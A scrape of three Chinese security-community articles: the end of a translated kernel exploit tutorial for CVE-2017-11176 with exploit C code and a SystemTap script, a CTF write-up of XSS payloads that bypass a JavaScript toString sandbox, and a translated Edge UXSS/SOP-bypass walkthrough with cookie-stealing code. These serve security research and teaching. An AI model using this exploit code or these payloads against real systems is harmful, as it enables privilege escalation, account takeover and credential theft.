[5] if (level != SOL_NETLINK)
return -ENOPROTOOPT;
[6] if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
return -EFAULT;
switch (optname) {
// ... cut (other options) ...
[7] case NETLINK_NO_ENOBUFS:
[8] if (val) {
nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
clear_bit(0, &nlk->state);
[9] wake_up_interruptible(&nlk->wait);
} else
nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
err = 0;
break;
default:
err = -ENOPROTOOPT;
}
return err;
}
有一些额外的条件需要满足：
* [5] - **level** 必须等于SOL_NETLINK
* [6] - **optlen** 必须大于或等于sizeof(int)， **optval** 应指向可读内存地址。
* [7] - **optname** 必须等于NETLINK_NO_ENOBUFS
* [8] - **val** 不为0
如果我们满足所有条件，将会调用wake_up_interruptible()来唤醒被阻塞的线程[9]。最后，以下代码片段完成此工作：
int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
int val = 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
## 更新exp
我们了解了如何通过setsockopt()调用wake_up_interruptible()。但是有一个问题：如何在阻塞的情况下调用函数？
**答案是：使用多线程！**
创建另一个线程（ **unblock_thread** ），并更新exp（编译时带有“-pthread”选项）：
struct unblock_thread_arg
{
int fd;
bool is_ready; // we could use pthread's barrier here instead
};
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created
uta->is_ready = true;
// WARNING: the main thread *must* directly call mq_notify() once notified!
sleep(5); // gives some time for the main thread to block
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
pthread_t tid;
struct unblock_thread_arg uta;
// ... cut ...
// initialize the unblock thread arguments, and launch it
memset(&uta, 0, sizeof(uta));
uta.fd = sock_fd;
uta.is_ready = false;
printf("creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("unblocking thread has been created!\n");
printf("get ready to block\n");
if (_mq_notify((mqd_t)-1, &sigev))
{
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");
// ... cut ...
}
调用 **pthread_create()**
创建线程（会产生新的task_struct）并启动。但这并不意味着新线程会立即运行。为了确保新线程已经开始运行，我们使用了一个 **自旋锁**
：uta->is_ready。
**NOTE** ：自旋锁是最简单的锁。基本上一直循环直到变量改变。这里不用原子操作的原因是只有一个写者和一个读者。
主线程陷入循环，直到unblock_thread线程解锁（将"is_ready"设置为true）。使用pthread的屏障可以实现同样的目的（但并不总是可用）。这里的自旋锁是可选的，它只是对线程创建提供了“更多控制”，并且创建新线程可能意味着大量内存分配，这通常会有一些副作用。
假设在pthread_create()之后，主线程被抢占了一段“很长”的时间（即没有在执行）。可能有以下顺序：
Thread-1 | Thread-2
---|---
|
pthread_create() |
| <<< new task created >>>
<<< preempted >>> |
| <<< thread starts >>>
<<< still... |
...preempted >>> | setsockopt() -> succeed
|
mq_notify() |
=> start BLOCKING
在这种情况下，会在mq_notify阻塞之前就调用了“setsockopt()”。这样子并不会解除主线程的阻塞。所以在解锁主线程（设置"is_ready"为真）后需要
**sleep(5)** 。主线程至少有5秒的时间来调用mq_notify()。可以放心地假设“5秒”是足够的，因为：
* 如果主线程在5秒后仍然被抢占，则目标系统负载很重，那么就不应该运行exp。
* 如果unblock_thread线程“竞争”主线程（在mq_notify()之前就调用了setsockopt()）那么我们总是可以通过CTRL+C退出。这样做会使netlink_attachskb()返回“-ERESTARTSYS”。该路径没有触发漏洞。我们可以重新运行exp。
## 更新STAP脚本
在运行新exp之前，我们需要编辑STAP脚本。当前的STAP脚本在调用netlink_attachskb()之前就删除了netlink套接字（fd=3）。这意味着如果我们在netlink_attachskb()中阻塞之后调用setsockopt()，文件描述符sock_fd是无效的（它在FDT中值为NULL）。setsockopt()将失败并返回“Bad
File Descriptor”错误（并不会执行到netlink_setsockopt()）。
修改STAP脚本，在netlink_attachskb()返回时才删除FDT中的fd“3”：
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger_before:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
// NOTE: We do not mark the sock as DEAD anymore
%}
function force_trigger_after:long (arg_sock:long)
%{
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
force_trigger_before($sk);
}
}
probe kernel.function ("netlink_attachskb").return
{
if (execname() == "exploit")
{
force_trigger_after(0);
}
}
与之前一样，添加更多探针，以便看到代码流程。有以下输出：
$ ./exploit
-={ CVE-2017-11176 Exploit }=- netlink socket created = 3
creating unblock thread...
unblocking thread has been created!
get ready to block
<<< we get stuck here during ~5secs >>>
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
(15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
(15981-15981) [skb] <<== skb_put = ffff88000a015600
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = ffff8800314869c0
(15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
(15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
(15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 timeo=0xffff88000b157f40 ssk=0x0)
(15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
(15981-15981) [sched] ==>> schedule ()
(15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x1)
(15981-15981) [sched] <<== deactivate_task =
<<< we get stuck here during ~5secs >>>
(15981-15981) [sched] <<== schedule =
(15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
(15981-15981) [netlink] <<== netlink_attachskb = 1 // <----- returned 1
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = 0 // <----- returned 0
(15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
(15981-15981) [netlink] <<== netlink_detachskb
(15981-15981) [SYSCALL] <<== mq_notify= -9
**NOTE** ：为简单起见，已删除其他线程的输出。
主线程在netlink_attachskb()中阻塞了5秒，通过其他线程解除主线程阻塞并且netlink_attachskb()返回1！
在本节中，我们了解了如何延长竞态窗口期（延长至5秒），如何通过setsockopt()唤醒主线程。还介绍了可能在exp中发生的“竞争”，以及如何通过简单的技巧降低其发生概率。在POC中满足了触发漏洞的一个条件，还有两个条件需要满足。
译者注：[下一部分链接](https://xz.aliyun.com/t/5369) | 社区文章 |
## 前言
前几天去打了Defcon
China决赛，差两题就可能拿到外卡。作为Web手0题滚粗难辞其咎，回来重新看了这道比赛时绕了一下午的secret_house，然后结合赛后拿到的几个payload，写一写Sandbox
hook toString以后的一些绕过思路。
## 情景介绍
第一次遇到Sandbox hook toString 是去年google ctf决赛的Blind XSS。当时的限制比较简单，代码如下
Function.prototype.toString = function() {
return '[No source code for you. Not on my watch, not in my world]';
}
第二次就是Defcon China的secret_house，这次给出了一个比较完整的sandbox来限制，代码如下
//index.php
<?php
echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>";
if(isset($_GET['xss'])){
header("Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';");
if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){
echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>";
echo "<script>".htmlspecialchars($_GET['xss'])."</script>";
}
else{
die("error host");
}
}
else{
highlight_file(__FILE__);
}
?>
//flag.php
<?php if(isset($_GET['f'])){
if($_SERVER["REMOTE_ADDR"] === gethostbyname('secret-bctf.art') && $_SERVER['SERVER_NAME'] === "secret-bctf.art")
echo "function get_secret(){ '".base64_encode(file_get_contents('admin.php'))."' }";
else
echo "function get_secret(){ 'emmmmm? Why aren\\'t you administrator?'
}";
} else{
highlight_file('flag.php'); }
?>
//sandbox.js
function noop() {}
(()=>{
window.open = ()=>'Whooops'
const oldCreateElement = Document.prototype.createElement
Document.prototype.createElement = (a,...args)=>{
if (a !== 'iframe' && a !== 'frame')
return oldCreateElement.apply(document, [a, ...args])
return 'Whooops'
}
Document.prototype.createElementNS = noop
}
)()
Function.prototype.toString = noop
document.addEventListener('load', (e)=>{
try {
console.log('fucked')
e.target.contentWindow.Function.prototype.toString = noop
} catch (e) {
}
}
, true);
['Document', 'Element', 'Node'].forEach(documentKey=>{
Object.keys(window[documentKey].prototype).forEach(key=>{
try {
//console.log(key)
if (window[documentKey].prototype[key]instanceof Function) {
window[documentKey].prototype[key] = noop
}
} catch (e) {
}
})
})
Array.from(document.all).forEach(item=>{
Object.defineProperty(item, 'innerHTML', {
get: noop,
set: noop
})
}
)
不能发现这次在hook
toString的基础上还做了很多其他的限制，而这些限制就和一些bypass的思路有关，接下来慢慢给出几种情况下的思路，而我们的目标就是要获得get_secret函数的内容。
## 全新的toString
如果Sandbox只是单纯重写了toString函数的内容，那么我们可以通过获得一个新的，没问题的toString的方法来获取到get_secret的内容。
如何获得一个native的toString呢？？？
通过加载一个iframe，iframe会导入一个新的环境，里面就有native的toString函数。
这里要注意的是，对于iframe来说，我们需要获得的是parent的get_secret函数，因此需要保证iframe下的域与父域是同源的，否则会被同源策略拦截。
这里提供两种同源的方法。
一是通过iframe的srcdoc属性，srcdoc属性可以直接在一个iframe中定义一段HTML的代码，而这样产生的iframe和父域是同源的。
代码如下
ifr=document.createElement('iframe');
ifr.srcdoc = '\x3script\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);
二是通过iframe的src属性，但是使用javascript伪协议来完成。iframe标签可以提供一个新的环境，而javascript伪协议则保证了同源策略。
代码如下
ifr=document.createElement('iframe');
ifr.src = '\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74:parent.result = Function.prototype.toString.call(parent.get_secret)';
document.head.append(ifr);
而通过secret_house的代码不难发现这种方法因为createElement被重写而无法被利用
这里提一句是secret_house中的添加的load监听事件并不影响上述payload的执行，因为在执行上述payload时页面还未加载完全，因此这段防御可以忽略。
## 重写Function.prototype.apply
既然Sandbox重写了createElement，我们就从重写出发，看看有没有可利用的地方。
这里参考了<http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-3/>
新的createElement在创建元素不为iframe或者frame的时候，会调用回native的createElement，而这里采用了apply的方法来调用。
apply是一个全局函数Function.prototype.apply
通过MDN文档可以知道Function.prototype.apply被调用时的this对象就是指向了对应函数的，在这里也就是oldCreateElement。因此只要把this的值还给Document.prototype.createElement对象，即可获得一个原本的createElement。
代码如下
Function.prototype.apply = function() {
Document.prototype.createElement = this;
};
a = document.createElement('a');
ifr = document.createElement('iframe');
ifr.srcdoc = '\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);
第一个a元素的创建是为了触发新的createElement去调用到apply。
但是在secret_house中，出题人在下面又把新的createElement函数noop掉了，导致这种方法也没法使用。
## 利用CSP禁止加载Sandbox
这是赛后队友`@wonderkun`联系了出题人以后获得的预期解法。
当回首这题给出的CSP时
Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';
我们会发现只允许加载同域下、81端口下以及内联的
而DNS解析时存在以下的一个特点
rebirth@NeSE ~ nslookup localhost.
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: localhost
Address: 127.0.0.1
------------------------------------------------------------ rebirth@NeSE ~ nslookup localhost
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: localhost.lan
Address: 127.0.0.1
在域名后加一个`.`后解析的结果是一致的，因为这个`.`代表的是根域名的意义
但是浏览器不会认为`secret-bctf.art`和`secret-bctf.art.`是一个域，因此payload就一下子变得如下这么简洁
http://secret-bctf.art./?xss=alert(get_secret)
看到这个预期解的时候，内心在滴血，因为感觉之前见过CSP的这种利用方式，但是比赛时候确实完全没想到。
然而，看到接下来的非预期的解法，血更加止不住留下来。
## 利用innerHTML添加iframe
在secret_house的Sandbox的最后有这么一段代码
Array.from(document.all).forEach(item=>{
Object.defineProperty(item, 'innerHTML', {
get: noop,
set: noop
})
}
)
我当时看了一眼完全不以为意，想着，哦，把innerHTML hook了就没法直接写iframe了。
然后在了解到`say2@CyKor`小姐姐的payload以后（感谢队友`@afang`一直以来和say2小姐姐的联系），我才发现原来这里并不像我想的那么简单。
当我们重新回顾index.php的内容时
<?php
echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>";
if(isset($_GET['xss'])){
header("Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';");
if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){
echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>";
echo "<script>".htmlspecialchars($_GET['xss'])."</script>";
}
else{
die("error host");
}
}
else{
highlight_file(__FILE__);
}
?>
你会发现，所有的script标签都没有再被任何标签包裹，也就是在html页面上输出时，它们是以这种形式输出的
<script src='http://secret-bctf.art:81/flag.php?f=123'></script>
<script src='http://secret-bctf.art/js/sandbox.js?t=123'></script>
<script>我们的payload</script>
那么在chrome中，会如何处理这样一个页面呢
它会将它们放在head体中 ! ! !
这会造成什么后果呢，那就是在chrome解析这个sandbox中的js时，body体还未出现
也就是说===>document.all中并没有包含body ! ! !
`document.body.innerHTML`的set方法没有被nop掉 Orz
那么代码就显而易见了
onload = function(){
document.body.innerHTML=`\x3ciframe srcdoc='\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'\x3e\x3c/iframe\x3e`;
}
## firefox下的toString
chrome下的整个的过程到上文就结束了。
比赛完，在和`lyle@0ops`的讨论过程中，他给出了一个firefox下toString被重写时，仍可以读到函数代码的方法。
利用的是firefox特有的一个函数`uneval`
根据MDN的文档，`uneval`会返回表示给定对象的源代码的字符串。如果输入是一个函数对应，就会返回函数的源代码。
payload也很简单
http://secret-bctf.art/?xss=alert(uneval(get_secret))
同时，在查阅toString相关内容的时候，我也发现了firefox下特有的也可以获取函数代码的方法
Function.prototype.toSource()
payload也很简单
http://secret-bctf.art/?xss=alert(get_secret.toSource())
## 总结
前端水深，google ctf blindxss后面使用到的proxy的技巧也很值得学习，另外求更多bypass sandbox的姿势Orz | 社区文章 |
# 【技术分享】Edge浏览器上的SOP绕过/UXSS（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/sop-bypass-uxss-tweeting-like-charles-darwin/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
在这篇文章中，我们将探索微软Edge浏览器上的另一种SOP（Same Origin
Policy，同源策略）绕过方法。无域化（domainless）页面能够自由访问其他域（domain）的页面，基于这个事实，我们通过滥用data/meta标签，完成了Edge浏览器的SOP绕过任务。
如果你时间宝贵，你可以先看一下这个59秒的漏洞利用[视频](http://v.youku.com/v_show/id_XMjcyNjYyOTM4OA==.html)，这个视频中我们以达尔文的身份发布了推文。你也可以看一下这个2分钟的[视频](http://v.youku.com/v_show/id_XMjcyNjY0MjY3Mg==.html)，我们在这个视频中以查尔斯的身份手动发布推文，同时抓取了用户的密码（感谢微软Edge浏览器的默认密码管理器）。如果你想看更多的技术细节，可以继续往下看。
如果你是第一次看这类文章，我建议你可以先看一下这两篇SOP绕过文章：[【技术分享】Edge浏览器上的SOP绕过/UXSS（含演示视频）](http://bobao.360.cn/learning/detail/3789.html)以及[【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界](http://bobao.360.cn/learning/detail/3659.html)。本文的核心思想与这两篇一样，但利用技术更加新颖。
让我们快速回顾下一个重要事实：about:blank页面总是与他的引用页面处于同一个域（domain），这也意味着来自于twitter的iframe中的“about:blank”页面无法访问google的空白页。即便这两者的地址能够匹配成功（都为about:blank），但他们的“document.domain”是不同的。
在早些时候，我们可以在没有domain的前提下创建about:blank页面，或者创建domainless的about:blank页面。这些页面可以访问每个about:blank页面，而无视这些页面的domain值。举个例子，我们的主页面中有个domainless的空白页，渲染了两个iframe，其中一个指向twitter，另一个指向google。这些iframe内部都包含空白的子iframe，它们的domain分别为twitter以及google。在这种场景下，顶层窗口能够访问具有domain的空白页，也就是说，能够访问google和twitter的DOM（Document
Object Model，文档对象模型）。如下图所示：
在早些时候，上面描述的这个漏洞场景可以正常工作，直到微软在三个月之前发布了补丁，修复了这个漏洞。微软使用了一个非常巧妙的方法来修复这个漏洞：domainless的空白页再也不是真正的domainless了，这些页面在漏洞修复后都使用了随机的GUID作为他们的domain，比如“{53394a4f-8c04-46ab-94af-3ab86ffcfd4c}”。还有另外一点也十分有趣，那就是这些页面的domain值看上去像是空白的（或者是空的），但实际情况并非如此。换句话说，Edge浏览器会隐藏GUID的值，并返回空的domain值，但在浏览器内部，domain的值仍为GUID。
让我们开始实验。打开Edge浏览器，同时打开开发者工具（DevTools，F12开启），在地址栏输入“about:blank”，在之前，我们这样做会创建一个domainless的空白页，现在看起来貌似一切如故，但这其实是Edge的障眼法。让我们好好欣赏一下Edge的表演，我们有足够的时间来揭开它的伪装。
如我们所看到的一般，DevTools认为我们的domain值为空，但事实并非如此。
**二、打破障眼法**
现在DevTools已经被欺骗，我们怎么能看透事实的真相呢？实际上并不难，我们可以尝试使用相对路径，随意加载一个页面，或者改变一下这个窗口的位置，或者使用一个“document.write”语句，就可以打破这种障眼法。我们试一下“location.href=1”这个语句，看一下会发生什么。
**三、之前的漏洞已被修复**
我们之前使用的创建domainless空白页的[漏洞](https://www.brokenbrowser.com/uxss-edge-domainless-world/)已经被修复。在之前的这个漏洞中，我们借助Flash/GetURL机制在主窗口（顶层窗口）设置了一个“data:uri”地址。但漏洞修复后，情况变得更加糟糕，我们再也不能自动运行Flash了！在Windows
Creators更新之后，Edge浏览器在运行Flash之前会征求用户的许可。
这种情况下，以前的[PoC](http://unsafe.cracking.com.ar/demos/edge-domainless-uxss/bing/index.html)就显得毫无作用，不过还是应该感谢Edge团队在安全方面的工作。
**四、再次找到一个新的domainless空白页**
我们之前的“data:uri”技巧不能再起作用了，那么我们怎么克服这个困难呢？首先，我放弃了钻研顶层窗口的方式，再次与iframe搏斗，因为就我们以前的经验来看，Edge浏览器并不喜欢主窗口中存在“data:uri”形式的地址。
top.location.href = "data:text/html,SOMETHING"; // Fails badly, error page
我们发现iframe的地址还是可以成功设为“data:uri”的地址形式。然而，这并不是一个bug，因为iframe的domain与顶层窗口的domain是相互隔离的。
正如我们之前在“[读者模式的SOP绕过](https://www.brokenbrowser.com/sop-bypass-abusing-read-protocol/)”这篇文章中看到的一样，Edge浏览器对“data:uri”的隔离方式可以被绕过（只需要在自身使用document.write语句，我们就可以访问上层窗口），但我们现在不想使用这种方式。现在访问顶层窗口没有任何意义，我们需要的是找到获取domainless空白页的方法。为此，我们需要使用三重组合，也就是data-meta-data组合。这样就可以迫使Edge浏览器把从我们这里夺取的果实再次还回来。
具体说来，我们会将某个iframe的地址设置为“data:uri”形式，这个iframe会触发一个meta refresh，重定向到另一个data:uri。
**小贴士：如何创建一个domainless空白页：**
**1\. 设置iframe的地址为“data:uri”形式**
**2\. 这个“data:uri”会渲染一个meta refresh标签**
**3\. “meta refresh”会重定向到另一个“data:uri”地址**
我们先来构造一个URL，这个URL可以将常规的（即有domain）的iframe转换为domainless的iframe。脑海里牢记“data-meta-data”这个组合，你就能理解我们为什么要这么构造。
我知道上面这种构造方式没那么完美（当然没有像E=mc2那么完美），但是我们使用这种技巧可以窃取爱因斯坦的凭证、邮件、paypal账户，甚至以他的名义发一些推文。我们先来测试一下目前的进展是否顺利。我们的测试对象是bing.com，因为它包含一个内部空白iframe，同时没有使用[XFO](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)。
**五、使用bing.com来热身**
我们将会创建带有两个iframe的web页面，其中一个为bing.com的iframe，另一个是domainless的iframe。我们最终会在domainless的iframe中执行bing内部空白iframe中的代码。Bing的图片恰好满足我们的需求。我会打开Chrome浏览器，向大家描述我想表达的具体含义。
现在进展不错，我们会将该页面frame化，同时借助我们前面提到的domainless的“data-meta-data“方式，将代码注入到空白的iframe中。但有一点我没有提到，你是否还记得，在我们最开始的domainless
SOP文章中，我们在处理nature.com时碰到了一个命名问题。如果你没有印象，我们可以来快速回顾一下。
此时此刻，我们的domainless
iframe已经可以访问bing的空白页，但选择具体的访问机制是非常重要的。我们不能直接访问DOM，必须使用window.open方法才可以。换句话说，如果bing是主页面的第一个iframe，我们无法使用以下这种方式访问它的内部iframe：
alert(top[0][0].document.cookie); // ACCESS DENIED
事实上，我们也不能使用以下这种方式：
top[0][0].location.href = "javascript:alert(document.cookie)"; // ACCESS DENIED
那么我们该怎么做呢？非常简单，我们可以使用window.open方法，利用iframe的名字打开一个javascript
url就可以了。比如，如果bing的内部iframe名字是“INNER_IFRAME”，那么以下这行代码就能成功运行：
window.open("javascript:alert(document.cookie)", "INNER_IFRAME"); // SOP BYPASSED!
但非常讨厌的是，bing的内部iframe并没有名字！不要灰心，我们可以请求Bing团队为这个iframe设置一个名字（开玩笑的），或者我们需要继续往前努力。
**六、设置iframe的名字**
如果我们不具备某个iframe的所有权，我们就不能设置它的名字，除非它与我们处于同一个domain。接下来我们要渲染一个包含空白页面的bing
iframe。外部iframe处于不同的domain中，但标签（tag）本身（元素和对象）处于我们的domain中，因此我们可以随心所欲任意设置它的名称。
<iframe name="ANY_NAME" src="http://bing.com">
<iframe src="about:blank"></iframe>
</iframe>
然而内部的iframe属于bing，即使它是空白iframe，它的domain仍然是bing.com。改变它名字的唯一方法，是先将它的地址设置为我们能够访问的某个地址，之后我们才能修改它的名字。现在，如果我们想要修改about:blank的地址，这就像在搬起石头砸自己的脚，因为我们首先得成为bing.com，然后才能访问domainless空白页。
请记住：我们的目标是从某个domainless空白页访问某个具有domain的页面。如果我们设置该页面的domain，使之与我们的domain相匹配，那么即使能够访问它也是毫无意义的。因此，在这里我们需要这么做：我们要设置页面的地址，改变iframe的名字然后还原页面地址。这样做我们就能保持原始的domain值，听起来是不是比较复杂？
**小贴士：如何设置x-domain-iframe的名字：**
**1\.
将iframe的地址设为about:blank，这样我们就可以将它的domain设置为我们能够控制的某个domain，如cracking.com.ar**
**2\. 修改iframe的名字**
**3\. 再次将iframe的地址设为about:blank，但这次我们使用的是meta
refresh机制，使它的domain与它的创建者一致（本例中即bing.com）**
就是这么简单。现在内部的iframe已经拥有一个名字，并且它的domain已经恢复为bing.com！代码如下所示：
// Sets the location of Bing's inner iframe to about:blank
// But now it is in our domain so we can set a name to it.
window[0][0].location = "about:blank";
// Set the inner iframe name to "CHARLES" so we can later inject code
// using a window.open("javascript:[...]","CHARLES");
window[0][0].name = "CHARLES";
// Restore Bing's domain to the about:blank that we've just renamed.
window[0][0].document.write('<meta http-equiv="refresh" content="0;url=about:blank">');
window[0][0].document.close();
现在有个好消息，那就是我们没必要要求站点包含“about:blank”的iframe，因为我们总是能够使用上面那种方法完成任务。换句话说，不管bing的内部iframe是否是about:blank都不重要，上面那种方法总是能够奏效。现在好好看一下我们的表演。
成功之门已经开启，我们可以在我们的“data-meta-data” iframe中运行window.open方法，如下所示：
window.open("javascript:alert(document.cookie)", "CHARLES"); // Fireeeeeeeeeee!!!
你可以使用Edge浏览器[在线测试](http://unsafe.cracking.com.ar/demos/edgedatametadata/bing.html)这个漏洞PoC。
关于这个PoC，有一点需要注意。我们在上面的例子中，使用的是一个http（不安全）连接，因为在https（安全）连接中，使用meta
refresh跳转是被禁止的，因此我们无法重定向到最终的data:uri地址。Edge浏览器错误地认为这种重定向是不安全的。然而，我们在第一步中可以不使用data:uri，换而使用document.write方法，就可以成功绕过这种限制。因此，上面的“data-meta-data”三元组需要换成“document.write(meta-data)”。
我们在上面的PoC中并没有使用这种方法，因为访问上面这个交互式演示网站时，Edge浏览器有三分之一的概率会崩溃。因此，我选择了一个向导式的稳定PoC，而不是上面这个自动化http(s)
PoC。但如下文所示，这种处理无关紧要，因为我们的不安全（http）的domainless空白页仍然可以访问安全的页面。接下来我们来看看一个实际的案例。
**七、真实案例：窃取查尔斯的cookie**
现在是时候看看真实案例了。跟我一起乘坐时光机器，回到过去，将计算机和互联网一起带到天才辈出的那个年代。当时查尔斯·达尔文（Charles
Darwin）正在思考物种的进化问题，阿尔弗雷德·华莱士（Alfred
Wallace）也有类似的想法。查尔斯对黑客有防范意识，因此他使用电脑的方式有点偏执：他从来没有使用已经打开gmail、twitter以及个人文档的浏览器窗口来访问其他链接。
比如，他正在通过任务栏启动一个浏览器的隐私窗口，如下所示：
他心情不错，在另一个浏览器标签中打开了他的Twitter页面，调戏阿尔弗雷德·华莱士，告诉华莱士，自己将要发布一条推文，公布自己的发现。
华莱士的回复几个小时后才姗姗来迟，回复中包含某个链接，用来支持他自己的理论。还记得吗，查尔斯不信任任何人，因此他复制这个链接，将其粘贴到一个新窗口中，这个窗口远离他的私人数据（比如gmail、twitter）。
这种情况下会有什么问题呢？问题多多！就如同世界上大多数网站一样，twitter使用了好几个iframe。事实上，twitter拥有两个具备名字的about:blank
iframe，因此搞定它会比搞定Bing更加容易！在回到我们的故事之前，我们先使用DevTools，枚举一下twitter的iframe以找到合适的利用对象。我打开了一个不同的窗口，与查尔斯的会话没有任何关系。
非常棒！dm-post-iframe这个iframe看起来不错，万事俱备，我们马上可以搞定查尔斯的账户。
现在，查尔斯打开了一个新的隐私窗口，加载了华莱士发送给他的URL。他所不知道的是，即使浏览器处于隐私浏览状态下，它们之间也会相互通信。因此，如果我们在自己的domainless
iframe中执行如下代码，情况会怎么样呢？
window.open("javascript:alert(document.cookie)", "dm-post-iframe");
正如你所看到的，我们现在已经拥有了查尔斯·达尔文的cookie。
你可以使用Edge浏览器[在线测试](http://unsafe.cracking.com.ar/demos/edgedatametadata/cookiesfromcharlie.html)这个漏洞PoC（注意：这个PoC真的会弹出你的Twitter
cookie信息）。
请大家记住，我们并不是真的需要使用隐私模式访问这个网站。我们之所以举上面这个例子，是为了说明在某些特殊场景下我们的漏洞也是可以奏效，但通常情况下我们面临的情况并没有那么复杂，因为人们并没有像查尔斯那样，对链接那么敏感。此外，考虑到攻击者会在流行站点上使用[恶意广告](https://blog.malwarebytes.com/101/2015/02/what-is-malvertising/)等攻击方式来展开攻击，如果攻击者寄生在雅虎广告中，同时用户已经登录到他们的Twitter账户，那么攻击者不需要用户交互就能完成攻击任务。
**八、使用查尔斯·达尔文的身份发布推文**
让我们构造一个更好的PoC。此时我们将以达尔文的身份发布推文，甚至尝试抓取他的密码，而不单单满足于读取他的cookie。请时刻记住，大多数用户（比如查尔斯）会使用密码管理器来自动填写密码。Edge浏览器的密码管理器没有什么特别的地方，因此，如果查尔斯已经保存了他的密码，我们就能抓取到这个密码。这个任务并不是特别难，我们只需要强迫他注销登录，那么登录页面就会自动加载，同时他的信息（用户名和密码）就会通过一个silver播放器发送给我们的服务器。事实上，在这种情况下，除非用户主动与页面交互，否则页面中的表单会处于隐藏状态，然而Edge浏览器使用自动填充方式填写表单，因此我们甚至没有必要设置表单为可见状态。
在运行PoC之前，你要注意到，这个PoC暴露的是你自己的账户信息，而不是查尔斯的。当然没有任何数据会发往服务器，但如果有某人躲在你的背后，他还是可以在常规的alert对话框中看到你的密码，还是小心为好。
**视频一：自动发表推文**
**视频二：手动发表推文**
你可以使用Edge浏览器在线测试这个PoC。
**九、其他的问题**
我也想到了其他问题，比如，我们能够对那些没有about:blank
iframe的页面使用这种技巧吗？当然可以！我们这种方法甚至对那些没有任何iframe的网站都是有效的！请阅读[这篇文章](https://www.brokenbrowser.com/referer-spoofing-patch-bypass/)，其中我们将一个iframe注入到了另一个不同源上。[另一篇文章](https://www.brokenbrowser.com/uxss-ie-htmlfile/)针对的是Internet Explorer浏览器。
对于Facebook而言，这种方法是否也能奏效？我没有facebook账户，因此我没有测试这种情况。但是成功绕过SOP后我们就可以访问地球上的任何一个domain。当然利用情况可能会有些复杂，大家可以努力一下。
这种方法在其他浏览器上是否也能奏效？我没有尝试，但答案显然是否定的。因为UXSS/SOP绕过方法对于不同浏览器来说都是不一样的。
你可以访问这个[网址](https://goo.gl/8UY2y5)下载漏洞利用代码。 | 社区文章 |
## 0x01 前言
